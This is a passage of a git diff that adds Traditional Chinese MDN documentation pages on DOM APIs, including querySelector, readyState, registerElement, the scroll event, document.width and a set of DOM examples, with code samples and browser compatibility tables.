+<pre><em>element</em> = document.querySelector(<em>selectors</em>);</pre>
+<p>其中</p>
+<ul>
+ <li><code>element</code> 是<a href="/en-US/docs/DOM/element" title="en-US/docs/DOM/element">元素</a>物件。</li>
+ <li><code>selectors</code> 是以逗號分隔，包含一個或多個 CSS 選擇器的字串。</li>
+</ul>
+<h2 id="Example" name="Example">範例</h2>
+<p>這個範例會回傳 document 選到的第一個 "<code>myclass</code>" class：</p>
+<pre class="brush: js">var el = document.querySelector(".myclass");
+</pre>
+<h2 id="Notes" name="Notes">注意事項</h2>
+<p>若找不到相應元素就會回傳 <code>null</code>，否則回傳第一個符合的元素。</p>
+<p>若選擇器符合某 ID，且該 ID 在 document 中誤用數次，就會回傳第一個符合的元素。</p>
+<p>當特定選擇器群組無效，會擲回 <code>SYNTAX_ERR</code> 例外狀況。</p>
+<p><code>querySelector()</code> 是由 Selectors API 引入的選擇器。</p>
+<p>傳入 <code>querySelector</code> 的字串參數必須遵循 CSS 語法。若要選取未遵循 CSS 語法的 ID 或選擇器（例如不當使用冒號或空格），必須強制加上兩個反斜線來跳脫錯誤的字元：</p>
+<pre class="brush: html">&lt;div id="foo\bar"&gt;&lt;/div&gt;
+&lt;div id="foo:bar"&gt;&lt;/div&gt;
+
+&lt;script&gt;
+document.querySelector('#foo\bar')    // 甚麼都沒選到
+document.querySelector('#foo\\\\bar') // 選到第一個 div
+document.querySelector('#foo:bar')     // 甚麼都沒選到
+document.querySelector('#foo\\:bar')   // 選到第二個 div
+&lt;/script&gt;
+</pre>
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">瀏覽器相容性</h2>
+<p>{{CompatibilityTable()}}</p>
+<div id="compat-desktop">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>功能特色</th>
+    <th>Chrome</th>
+    <th>Firefox (Gecko)</th>
+    <th>Internet Explorer</th>
+    <th>Opera</th>
+    <th>Safari (WebKit)</th>
+   </tr>
+   <tr>
+    <td>基本支援</td>
+    <td>1</td>
+    <td>3.5 (1.9.1)<br>
+     {{bug(416317)}}</td>
+    <td>8</td>
+    <td>10</td>
+    <td>3.2 (525.3)<br>
+     {{Webkitbug("16587")}}</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<div id="compat-mobile">
+ <table class="compat-table">
+  <tbody>
+   <tr>
+    <th>功能特色</th>
+    <th>Android</th>
+    <th>Firefox 行動版 (Gecko)</th>
+    <th>IE 行動版</th>
+    <th>Opera 行動版</th>
+    <th>Safari 行動版</th>
+   </tr>
+   <tr>
+    <td>基本支援</td>
+    <td>2.1</td>
+    <td>有</td>
+    <td>9</td>
+    <td>10.0</td>
+    <td>3.2</td>
+   </tr>
+  </tbody>
+ </table>
+</div>
+<h2 id="Specification" name="Specification">規格文件</h2>
+<ul>
+ <li><a class="external" href="http://www.w3.org/TR/selectors-api/" title="http://www.w3.org/TR/selectors-api/">Selectors API</a></li>
+</ul>
+<h2 id="See_also" name="See_also">詳見</h2>
+<ul>
+ <li>{{domxref("document.querySelectorAll()")}}</li>
+ <li>{{domxref("element.querySelector()")}}</li>
+ <li>{{domxref("element.querySelectorAll()")}}</li>
+ <li><a href="/en-US/docs/Code_snippets/QuerySelector" title="en-US/docs/Code snippets/QuerySelector">querySelector 代碼片段</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/document/readystate/index.html b/files/zh-tw/web/api/document/readystate/index.html
new file mode 100644
index 0000000000..13cf835aa7
--- /dev/null
+++ b/files/zh-tw/web/api/document/readystate/index.html
@@ -0,0 +1,108 @@
+---
+title: Document.readyState
+slug: Web/API/Document/readyState
+tags:
+  - API
+  - HTML DOM
+  - Reference
+translation_of: Web/API/Document/readyState
+---
+<div>{{APIRef("DOM")}} {{ gecko_minversion_header("1.9.2") }}</div>
+
+<h2 id="Summary" name="Summary">總覽</h2>
+
+<p>{{ domxref("document") }} 的 <strong>Document.readyState</strong> 屬性描述文件的讀取狀態。</p>
+
+<h3 id="數值">數值</h3>
+
+<p>文件的 <strong>readyState</strong> 數值如下：</p>
+
+<dl>
+ <dt>loading</dt>
+ <dd>{{ domxref("document") }} 正在讀取中。</dd>
+ <dt>interactive</dt>
+ <dd>文件已經完成讀取和解析，但是其他的子資源，如「圖片樣式層次表」，仍然在讀取。這個狀態表示 {{event("DOMContentLoaded")}} 事件已經被觸發。</dd>
+ <dt>complete</dt>
+ <dd>文件及子資源都完成讀取。這個狀態表示 {{event("load")}} 事件即將被觸發。</dd>
+</dl>
+
+<p>當這個屬性的數值改變時， {{event("readystatechange")}} 事件在 {{ domxref("document") }} 上觸發。</p>
+
+<h2 id="表達式">表達式</h2>
+
+<pre class="brush: js"><em>var string</em> = document.readyState;
+</pre>
+
+<h2 id="範例"><span>範例</span></h2>
+
+<h3 id="不同的狀態">不同的狀態</h3>
+
+<pre class="brush: js"><span>switch (document.readyState) {
+  case "loading":
+    // 文件讀取中。
+    break;
+  case "interactive":
+    // 文件已經完成讀取。可以使用 DOM 元素。
+    var span = document.createElement("span");
+    span.textContent = "A &lt;span&gt; element.";
+    document.body.appendChild(span);
+    break;
+  case "complete":
+    // 頁面已經完成讀取。
+    console.log("The first CSS rule is: " + document.styleSheets[0].cssRules[0].cssText);
+    break;
+}</span>
+</pre>
+
+<h3 id="readystatechange_替代_DOMContentLoaded">readystatechange 替代 DOMContentLoaded</h3>
+
+<pre class="brush:js">// alternative to DOMContentLoaded event
+document.onreadystatechange = function () {
+  if (document.readyState == "interactive") {
+    initApplication();
+  }
+}</pre>
+
+<h3 id="readystatechange_替代_load">readystatechange 替代 load</h3>
+
+<pre class="brush: js">// alternative to load event
+document.onreadystatechange = function () {
+  if (document.readyState == "complete") {
+    initApplication();
+  }
+}</pre>
+
+<h2 id="規範">規範</h2>
+
+<table class="spectable standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">規範</th>
+   <th scope="col">狀態</th>
+   <th scope="col">註</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML WHATWG", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML WHATWG')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5.1", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName("HTML5 W3C", "#current-document-readiness", "Document readiness")}}</td>
+   <td>{{Spec2('HTML5 W3C')}}</td>
+   <td>Initial specification.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="參見">參見</h2>
+
+<ul>
+ <li>{{event("readystatechange")}} event</li>
+ <li>{{event("DOMContentLoaded")}} event</li>
+ <li>{{event("load")}} event</li>
+</ul>
diff --git a/files/zh-tw/web/api/document/registerelement/index.html b/files/zh-tw/web/api/document/registerelement/index.html
new file mode 100644
index 0000000000..66c3330dca
--- /dev/null
+++ b/files/zh-tw/web/api/document/registerelement/index.html
@@ -0,0 +1,113 @@
+---
+title: Document.registerElement()
+slug: Web/API/Document/registerElement
+tags:
+  - API
+  - DOM
+  - JavaScript
+  - 自訂標籤
+translation_of: Web/API/Document/registerElement
+---
+<p>{{APIRef("DOM")}}{{Deprecated_header}}</p>
+
+<div class="warning">
+<p><strong>Warning: </strong>document.registerElement()                       已經被棄用，建議使用               <a href="/en-US/docs/Web/API/CustomElementRegistry/define">customElements.define()</a>.</p>
+</div>
+
+<p>{{draft}}</p>
+
+<p> <code><strong>document.registerElement()</strong></code>                 可以在瀏覽器中註冊一個新的自訂標籤(元素)and returns a constructor for the new element.</p>
+
+<div class="note">
+<p><strong>Note:</strong> This is an experimental technology. The browser you use it in must support Web Components. See <a href="/en-US/docs/Web/Web_Components#Enabling_Web_Components_in_Firefox">Enabling Web Components in Firefox</a>.</p>
+</div>
+
+<h2 id="語法">語法</h2>
+
+<pre class="syntaxbox">var <em>constructor</em> = document.registerElement(<em>tag-name</em>, <em>options</em>);</pre>
+
+<h3 id="參數">參數</h3>
+
+<dl>
+ <dt><em>標籤名稱</em></dt>
+ <dd>自訂的標籤名稱需有一個 橫線  ( - ), 例如<code>my-tag</code>.</dd>
+ <dt><em>options {{optional_inline}}</em></dt>
+ <dd>
+ <p>An object with properties <strong>prototype</strong> to base the custom element on, and <strong>extends</strong>, an existing tag to extend. Both of these are optional.</p>
+ </dd>
+</dl>
+
+<h2 id="例子">例子</h2>
+
+<p>這是一個非常簡單的例子:</p>
+
+<pre class="brush: js">var Mytag = document.registerElement('my-tag');
+</pre>
+
+<p>現在新的標籤已經在瀏覽器中註冊了. The <code>Mytag</code> variable holds a constructor that you can use to create a <code>my-tag</code> element in the document as follows:</p>
+
+<pre class="brush: js">document.body.appendChild(new Mytag());</pre>
+
+<p>This inserts an empty <code>my-tag</code> element that will be visible if you use the browser's developer tools. It will not be visible if you use the browser's view source capability. And it won't be visible in the browser unless you add some content to the tag. Here is one way to add content to the new tag:</p>
+
+<pre class="brush: js">var mytag = document.getElementsByTagName("my-tag")[0];
+mytag.textContent = "I am a my-tag element.";
+</pre>
+
+<h2 id="瀏覽器支援性">瀏覽器支援性</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>35</td>
+   <td>31<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.4.4</td>
+   <td>31<sup>[1]</sup></td>
+   <td>{{CompatNo}}</td>
+   <td>25</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>[1] This API is implemented behind a preference.</p>
+
+<h2 id="也看一下">也看一下</h2>
+
+<ul>
+ <li><a dir="ltr" href="/en-US/docs/Web/Web_Components/Custom_Elements">Custom Elements</a></li>
+</ul>
diff --git a/files/zh-tw/web/api/document/scroll_event/index.html b/files/zh-tw/web/api/document/scroll_event/index.html
new file mode 100644
index 0000000000..26dbb7640c
--- /dev/null
+++ b/files/zh-tw/web/api/document/scroll_event/index.html
@@ -0,0 +1,103 @@
+---
+title: scroll
+slug: Web/API/Document/scroll_event
+translation_of: Web/API/Document/scroll_event
+---
+<p>當文件的可視區或元素被滾動(scroll)，<code>scroll</code>事件會被觸發</p>
+
+<h2 id="一般資訊">一般資訊</h2>
+
+<dl>
+ <dt style="float: left; text-align: right; width: 120px;">規範</dt>
+ <dd style="margin: 0 0 0 120px;"><a class="external" href="http://www.w3.org/TR/DOM-Level-3-Events/#event-type-scroll">DOM L3</a>, <a href="http://www.w3.org/TR/cssom-view/#scrolling-0">CSSOM View</a></dd>
+ <dt style="float: left; text-align: right; width: 120px;">介面</dt>
+ <dd style="margin: 0 0 0 120px;">UIEvent</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Bubbles</dt>
+ <dd style="margin: 0 0 0 120px;">Not on elements, but bubbles to the default view when fired on the document</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Cancelable</dt>
+ <dd style="margin: 0 0 0 120px;">No</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Target</dt>
+ <dd style="margin: 0 0 0 120px;">defaultView, Document, Element</dd>
+ <dt style="float: left; text-align: right; width: 120px;">Default Action</dt>
+ <dd style="margin: 0 0 0 120px;">None</dd>
+</dl>
+
+<h2 id="屬性">屬性</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Type</th>
+   <th scope="col">Description</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td><code>target</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/EventTarget" title="EventTarget is an interface implemented by objects that can receive events and may have listeners for them."><code>EventTarget</code></a></td>
+   <td>The event target (the topmost target in the DOM tree).</td>
+  </tr>
+  <tr>
+   <td><code>type</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/DOMString" title="DOMString is a UTF-16 String. As JavaScript already uses such strings, DOMString is mapped directly to a String."><code>DOMString</code></a></td>
+   <td>The type of event.</td>
+  </tr>
+  <tr>
+   <td><code>bubbles</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event normally bubbles or not.</td>
+  </tr>
+  <tr>
+   <td><code>cancelable</code> {{readonlyInline}}</td>
+   <td><a href="/en-US/docs/Web/API/Boolean" title="The Boolean object is an object wrapper for a boolean value."><code>Boolean</code></a></td>
+   <td>Whether the event is cancellable or not.</td>
+  </tr>
+  <tr>
+   <td><code>view</code> {{readonlyInline}}</td>
+   <td><a class="new" href="/en-US/docs/Web/API/WindowProxy" rel="nofollow" title="The documentation about this has not yet been written; please consider contributing!"><code>WindowProxy</code></a></td>
+   <td><a href="/en-US/docs/Web/API/Document/defaultView" title="In browsers, document.defaultView returns the window object associated with a document, or null if none is available."><code>document.defaultView</code></a> (<code>window</code> of the document)</td>
+  </tr>
+  <tr>
+   <td><code>detail</code> {{readonlyInline}}</td>
+   <td><code>long</code> (<code>float</code>)</td>
+   <td>0.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Example">Example</h2>
+
+<p>因為 <code>scroll</code> 事件是高頻觸發，這樣的事件處理程式不該進行運算成本高的程式，像是DOM的修改。所以，建議使用 <a href="/en-US/docs/DOM/window.requestAnimationFrame" title="/en-US/docs/DOM/window.requestAnimationFrame">requestAnimationFrame</a>, <a href="/en-US/docs/Web/API/WindowTimers/setTimeout">setTimeout</a> 或 <a href="/en-US/docs/Web/API/CustomEvent">customEvent</a> 如下所示</p>
+
+<h4 id="Scroll_optimization_with_window.requestAnimationFrame">Scroll optimization with window.requestAnimationFrame</h4>
+
+<pre class="brush: js">// Reference: http://www.html5rocks.com/en/tutorials/speed/animations/
+
+var last_known_scroll_position = 0;
+var ticking = false;
+
+function doSomething(scroll_pos) {
+  // do something with the scroll position
+}
+
+window.addEventListener('scroll', function(e) {
+  last_known_scroll_position = window.scrollY;
+  if (!ticking) {
+    window.requestAnimationFrame(function() {
+      doSomething(last_known_scroll_position);
+      ticking = false;
+    });
+  }
+  ticking = true;
+});</pre>
+
+<p> </p>
+
+<p>關於<a href="/en-US/docs/Web/Events/resize#Example">resize</a>事件的更多類似例子。</p>
+
+<h2 id="瀏覽器相容性">瀏覽器相容性</h2>
+
+<h3 id="iOS_UIWebView">iOS UIWebView</h3>
+
+<p>在iOS UIWebViews中，滾動捲軸時 <code>scroll </code>事件不會觸發；它們要等到滾動完成時才被觸發。請參閱<a href="https://github.com/twbs/bootstrap/issues/16202">Bootstrap issue #16202</a>。 Safari 和 WKWebViews 不受此bug的影響。</p>
diff --git a/files/zh-tw/web/api/document/width/index.html b/files/zh-tw/web/api/document/width/index.html
new file mode 100644
index 0000000000..39eef5c184
--- /dev/null
+++ b/files/zh-tw/web/api/document/width/index.html
@@ -0,0 +1,45 @@
+---
+title: Document.width
+slug: Web/API/Document/width
+translation_of: Web/API/Document/width
+---
+<div>{{APIRef("DOM")}} {{Obsolete_header}}</div>
+
+<div class="note">
+<p><strong>注意:</strong> 從 {{Gecko("6.0")}} 開始， <code>document.width 將不再被支援。取而代之的是 </code><code>document.body.clientWidth 。請參照： </code>{{domxref("element.clientWidth")}}.</p>
+</div>
+
+<p>傳回目前文件中，{{HTMLElement("body")}} 元素的寬度有多少像素。</p>
+
+<p>Internet Explorer 不支援！</p>
+
+<h2 id="Syntax" name="Syntax">語法</h2>
+
+<pre class="syntaxbox"><em>pixels</em> = document.width;
+</pre>
+
+<h2 id="Example" name="Example">範例</h2>
+
+<pre class="brush:js">function init() {
+    alert("文件的寬度是 " + document.width + " 像素。");
+}
+</pre>
+
+<h2 id="Alternatives" name="Alternatives">其他替代</h2>
+
+<pre class="syntaxbox">document.body.clientWidth              /* &lt;body&gt; 的寬度 */
+document.documentElement.clientWidth   /* &lt;html&gt; 的寬度 */
+window.innerWidth                      /* 視窗的寬度 */
+</pre>
+
+<h2 id="Specification" name="Specification">規範於</h2>
+
+<p>HTML5</p>
+
+<h2 id="See_also" name="See_also">同時參考</h2>
+
+<ul>
+ <li>{{domxref("document.height")}}</li>
+ <li>{{domxref("Element.clientWidth")}}</li>
+ <li>{{domxref("Element.scrollWidth")}}</li>
+</ul>
diff --git a/files/zh-tw/web/api/document_object_model/examples/index.html b/files/zh-tw/web/api/document_object_model/examples/index.html
new file mode 100644
index 0000000000..66a1756da6
--- /dev/null
+++ b/files/zh-tw/web/api/document_object_model/examples/index.html
@@ -0,0 +1,373 @@
+---
+title: 使用 web 和 XML 開發來使用 DOM
+slug: Web/API/Document_Object_Model/Examples
+translation_of: Web/API/Document_Object_Model/Examples
+---
+<p>本章介紹了使用 DOM 進行 Web 以及 XML 開發的一些長範例。只要可能，在例子就會使用通用的 JavaScript Web API 、技巧以及模式來操作文檔對象（the document object）。</p>
+
+<h2 id="Example_1:_height_and_width" name="Example_1:_height_and_width">範例一：高度和寬度</h2>
+
+<p>下面的例子展示了在不同尺寸的圖片時使用其高（height）和寬（width）屬性的情況：</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;width/height example&lt;/title&gt;
+&lt;script&gt;
+function init() {
+  var arrImages = new Array(3);
+
+  arrImages[0] = document.getElementById("image1");
+  arrImages[1] = document.getElementById("image2");
+  arrImages[2] = document.getElementById("image3");
+
+  var objOutput = document.getElementById("output");
+  var strHtml = "&lt;ul&gt;";
+
+  for (var i = 0; i &lt; arrImages.length; i++) {
+    strHtml += "&lt;li&gt;image" + (i+1) +
+            ": height=" + arrImages[i].height +
+            ", width=" + arrImages[i].width +
+            ", style.height=" + arrImages[i].style.height +
+            ", style.width=" + arrImages[i].style.width +
+            "&lt;\/li&gt;";
+  }
+
+  strHtml += "&lt;\/ul&gt;";
+
+  objOutput.innerHTML = strHtml;
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body onload="init();"&gt;
+
+&lt;p&gt;Image 1: no height, width, or style
+  &lt;img id="image1" src="http://www.mozilla.org/images/mozilla-banner.gif"&gt;
+&lt;/p&gt;
+
+&lt;p&gt;Image 2: height="50", width="500", but no style
+  &lt;img id="image2"
+       src="http://www.mozilla.org/images/mozilla-banner.gif"
+       height="50" width="500"&gt;
+&lt;/p&gt;
+
+&lt;p&gt;Image 3: no height, width, but style="height: 50px; width: 500px;"
+  &lt;img id="image3"
+       src="http://www.mozilla.org/images/mozilla-banner.gif"
+       style="height: 50px; width: 500px;"&gt;
+&lt;/p&gt;
+
+&lt;div id="output"&gt; &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_2:_Image_Attributes" name="Example_2:_Image_Attributes">範例二：圖片屬性</h2>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;Modifying an image border&lt;/title&gt;
+
+&lt;script&gt;
+function setBorderWidth(width) {
+  document.getElementById("img1").style.borderWidth = width + "px";
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;p&gt;
+  &lt;img id="img1"
+       src="image1.gif"
+       style="border: 5px solid green;"
+       width="100" height="100" alt="border test"&gt;
+&lt;/p&gt;
+
+&lt;form name="FormName"&gt;
+  &lt;input type="button" value="Make border 20px-wide" onclick="setBorderWidth(20);" /&gt;
+  &lt;input type="button" value="Make border 5px-wide"  onclick="setBorderWidth(5);" /&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_3:_Manipulating_Styles" name="Example_3:_Manipulating_Styles">範例三：改變樣式（style）</h2>
+
+<p>在下面這個簡單的例子中，透過取得的 DOM 元素中的 style 物件和 style 物件中的屬性，我們可以取得 HTML 段落中的一些基本樣式屬性。在本例中，你可以直接操控各別的樣式屬性。在下一個的例子裡（見例4），你可以使用 stylesheets 和它的規則來改變整個文檔的樣式。</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;Changing color and font-size example&lt;/title&gt;
+
+&lt;script&gt;
+function changeText() {
+  var p = document.getElementById("pid");
+
+  p.style.color = "blue"
+  p.style.fontSize = "18pt"
+}
+&lt;/script&gt;
+&lt;/head&gt;
+&lt;body&gt;
+
+&lt;p id="pid" onclick="window.location.href = 'http://www.cnn.com/';"&gt;linker&lt;/p&gt;
+
+&lt;form&gt;
+  &lt;p&gt;&lt;input value="rec" type="button" onclick="changeText();" /&gt;&lt;/p&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_4:_Using_Stylesheets" name="Example_4:_Using_Stylesheets">範例四：使用樣式表（stylesheets）</h2>
+
+<p>在文檔物件的 styleSheets 屬性會回傳一系列載入文檔中的樣式表（stylesheets）。你可以透過 styleSheets、style 和 CSSRule 物件來獲取樣式表和每條樣式規則。在下面的例子中，把所有的樣式規則中的選擇器文本（字符串）打印到控制台中。</p>
+
+<pre class="brush:js">var ss = document.styleSheets;
+
+for(var i = 0; i &lt; ss.length; i++) {
+  for(var j = 0; j &lt; ss[i].cssRules.length; j++) {
+    dump( ss[i].cssRules[j].selectorText + "\n" );
+  }
+}</pre>
+
+<p>下面是一個只定義了三條樣式規則的單一樣式表的文檔：</p>
+
+<pre class="brush:css">body { background-color: darkblue; }
+p { font-face: Arial; font-size: 10pt; margin-left: .125in; }
+#lumpy { display: none; }
+</pre>
+
+<p>該腳本會輸出如下的結果：</p>
+
+<pre>BODY
+P
+#LUMPY
+</pre>
+
+<h2 id="Example_5:_Event_Propagation" name="Example_5:_Event_Propagation">範例五：事件傳遞</h2>
+
+<p>本例以一種簡單的方法闡述了事件是如何觸發以及在 DOM 中是如何處理的。當這個 HTML 文檔 BODY 載入的時候，在表格的首行註冊了一個事件監聽器。事件監聽器透過執行函數 stopEvent 來處理事件，從而改變在該表格底部的值。</p>
+
+<p>然而，stopEvent 同時也會另外執行一個事件物件的方法{{domxref("event.stopPropagation")}}，這會使得該事件（點擊）無法在 DOM 中有進一步的冒泡行為。請注意，表格本身有一個 {{domxref("element.onclick","onclick")}} 事件，使得這個表格被點擊時的時候原本應該要會跳出一個訊息。但因為 stopEvent 方法已經阻止了冒泡，所以在表格中的數據更新後，該事件階段有效地結束，表格的點擊事件沒有被觸發，而是顯示一個警告框（event propagation halted）——證實了事件被有效結束而沒有進一步冒泡。</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;title&gt;Event Propagation&lt;/title&gt;
+
+&lt;style&gt;
+#t-daddy { border: 1px solid red }
+#c1 { background-color: pink; }
+&lt;/style&gt;
+
+&lt;script&gt;
+function stopEvent(ev) {
+  c2 = document.getElementById("c2");
+  c2.innerHTML = "hello";
+
+  // this ought to keep t-daddy from getting the click.
+  ev.stopPropagation();
+  alert("event propagation halted.");
+}
+
+function load() {
+  elem = document.getElementById("tbl1");
+  elem.addEventListener("click", stopEvent, false);
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body onload="load();"&gt;
+
+&lt;table id="t-daddy" onclick="alert('hi');"&gt;
+  &lt;tr id="tbl1"&gt;
+    &lt;td id="c1"&gt;one&lt;/td&gt;
+  &lt;/tr&gt;
+  &lt;tr&gt;
+    &lt;td id="c2"&gt;two&lt;/td&gt;
+  &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_6:_getComputedStyle" name="Example_6:_getComputedStyle">Example 6: getComputedStyle</h2>
+
+<p>這個例子演示了如何用 {{domxref("window.getComputedStyle")}} 方法來獲取一個尚未被透過樣式元素或 JavaScript 設定的元素樣式（例如，elt.style.backgroundColor="RGB(173，216，230)"）。列舉在 {{domxref("element.style", "elt.style")}} 後面的類型的樣式可以用更直接{{domxref("element.style", "elt.style")}} 屬性獲取。</p>
+
+<p><code>getComputedStyle() 返回了一個 ComputedCSSStyleDeclaration 物件，其獨立的樣式屬性可以用該物件的 getPropertyValue() 方法引用，如同下面的例子一樣：</code></p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+
+&lt;title&gt;getComputedStyle example&lt;/title&gt;
+
+&lt;script&gt;
+function cStyles() {
+  var RefDiv = document.getElementById("d1");
+  var txtHeight = document.getElementById("t1");
+  var h_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("height");
+
+  txtHeight.value = h_style;
+
+  var txtWidth = document.getElementById("t2");
+  var w_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("width");
+
+  txtWidth.value = w_style;
+
+  var txtBackgroundColor = document.getElementById("t3");
+  var b_style = document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("background-color");
+
+  txtBackgroundColor.value = b_style;
+}
+&lt;/script&gt;
+
+&lt;style&gt;
+#d1 {
+  margin-left: 10px;
+  background-color: rgb(173, 216, 230);
+  height: 20px;
+  max-width: 20px;
+}
+&lt;/style&gt;
+
+&lt;/head&gt;
+
+&lt;body&gt;
+
+&lt;div id="d1"&gt;&amp;nbsp;&lt;/div&gt;
+
+&lt;form action=""&gt;
+  &lt;p&gt;
+    &lt;button type="button" onclick="cStyles();"&gt;getComputedStyle&lt;/button&gt;
+    height&lt;input id="t1" type="text" value="1" /&gt;
+    max-width&lt;input id="t2" type="text" value="2" /&gt;
+    bg-color&lt;input id="t3" type="text" value="3" /&gt;
+  &lt;/p&gt;
+&lt;/form&gt;
+
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_7:_Displaying_Event_Object_Properties" name="Example_7:_Displaying_Event_Object_Properties">範例七：顯示事件物件的屬性</h2>
+
+<p>這個例子使用 DOM 方法來顯示所有 {{domxref("window.onload")}} {{domxref("event")}} 物件的屬性及其在 table 中的值。這個方法也展示一個有用的技術，使用 for...in 迴圈來來遍歷一個物件的屬性，以得到它們的值。</p>
+
+<p>不同瀏覽器之間事件物件的屬性有很大不同，<a href="https://dom.spec.whatwg.org">WHATWG DOM Standard</a> 規範了事件的標準屬性，然而，許多瀏覽器都大大擴展了這些。</p>
+
+<p>將下面的代碼放到一個空白的文本文件，並將其用各種瀏覽器開啟，你一定會對各種瀏覽器之間的不一致（事件屬性的名稱及其數量）感到驚訝。你可能還喜歡在這個頁面加入一些元素，並呼叫不同的事件處理函數（event handlers）。</p>
+
+<pre class="brush:html">&lt;!DOCTYPE html&gt;
+&lt;html lang="en"&gt;
+&lt;head&gt;
+&lt;meta charset="utf-8"/&gt;
+&lt;title&gt;Show Event properties&lt;/title&gt;
+
+&lt;style&gt;
+table { border-collapse: collapse; }
+thead { font-weight: bold; }
+td { padding: 2px 10px 2px 10px; }
+
+.odd { background-color: #efdfef; }
+.even { background-color: #ffffff; }
+&lt;/style&gt;
+
+&lt;script&gt;
+
+function showEventProperties(e) {
+  function addCell(row, text) {
+    var cell = row.insertCell(-1);
+    cell.appendChild(document.createTextNode(text));
+  }
+
+  var e = e || window.event;
+  document.getElementById('eventType').innerHTML = e.type;
+
+  var table = document.createElement('table');
+  var thead = table.createTHead();
+  var row = thead.insertRow(-1);
+  var lableList = ['#', 'Property', 'Value'];
+  var len = lableList.length;
+
+  for (var i=0; i&lt;len; i++) {
+    addCell(row, lableList[i]);
+  }
+
+  var tbody = document.createElement('tbody');
+  table.appendChild(tbody);
+
+  for (var p in e) {
+    row = tbody.insertRow(-1);
+    row.className = (row.rowIndex % 2)? 'odd':'even';
+    addCell(row, row.rowIndex);
+    addCell(row, p);
+    addCell(row, e[p]);
+  }
+
+  document.body.appendChild(table);
+}
+
+window.onload = function(event){
+  showEventProperties(event);
+}
+&lt;/script&gt;
+&lt;/head&gt;
+
+&lt;body&gt;
+&lt;h1&gt;Properties of the DOM &lt;span id="eventType"&gt;&lt;/span&gt; Event Object&lt;/h1&gt;
+&lt;/body&gt;
+
+&lt;/html&gt;
+</pre>
+
+<h2 id="Example_8:_Using_the_DOM_Table_Interface" name="Example_8:_Using_the_DOM_Table_Interface">範例八：使用 DOM Table 介面</h2>
+
+<p>DOM HTMLTableElement 介面提供了一些方便的方法用於創建和操作資料表。兩種常用的方法是{{domxref("HTMLTableElement.insertRow")}}和{{domxref("tableRow.insertCell")}}.。</p>
+
+<p>增加一行和一些細格到現有的資料表：</p>
+
+<pre class="brush:html">&lt;table id="table0"&gt;
+ &lt;tr&gt;
+  &lt;td&gt;Row 0 Cell 0&lt;/td&gt;
+  &lt;td&gt;Row 0 Cell 1&lt;/td&gt;
+ &lt;/tr&gt;
+&lt;/table&gt;
+
+&lt;script&gt;
+var table = document.getElementById('table0');
+var row = table.insertRow(-1);
+var cell,
+    text;
+
+for (var i = 0; i &lt; 2; i++) {
+  cell = row.insertCell(-1);
+  text = 'Row ' + row.rowIndex + ' Cell ' + i;
+  cell.appendChild(document.createTextNode(text));
+}
+&lt;/script&gt;
+</pre>
+
